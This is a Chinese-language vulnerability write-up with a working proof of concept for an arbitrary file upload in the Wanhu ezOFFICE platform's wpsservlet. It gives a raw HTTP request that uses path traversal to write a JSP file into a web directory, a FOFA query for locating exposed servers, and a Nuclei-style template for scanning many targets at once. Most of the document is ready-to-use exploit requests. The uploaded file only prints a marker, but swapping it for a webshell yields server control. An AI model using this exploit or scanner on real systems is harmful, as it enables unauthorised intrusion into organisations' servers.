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一：漏洞描述

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。此系统wpsservlet存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。

二：漏洞影响版本

万户ezoffice

三：网络空间测绘查询

fofa：
app="万户网络-ezOFFICE"

四：漏洞复现

POC:

POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fb
Content-Length: 200

--55aeb894de1521afe560c924fad7c6fb
Content-Disposition: form-data; name="NewFile"; filename="check.jsp"

<% out.print("This website has a vulnerability!!!");%>
--55aeb894de1521afe560c924fad7c6fb--

访问/defaultroot/platform/portal/layout/check.jsp

五：批量检测

id: wanhu-ezoffice-wpsservlet-upload

info:
  name: wanhu-ezoffice-wpsservlet-upload
  author: 芝士土拨鼠
  severity: high
  description: 万户ezOFFICE协同管理平台是一个综合信息基础应用平台。此系统wpsservlet存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。

requests:
  - raw:
      - |-
        POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fb
        Content-Length: 200

        --55aeb894de1521afe560c924fad7c6fb
        Content-Disposition: form-data; name="NewFile"; filename="check.jsp"

        <% out.print("This website has a vulnerability!!!");%>
        --55aeb894de1521afe560c924fad7c6fb--

      - |
        GET /defaultroot/platform/portal/layout/check.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Accept-Encoding: gzip
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'vulnerability'
      - type: status
        status:
          - 200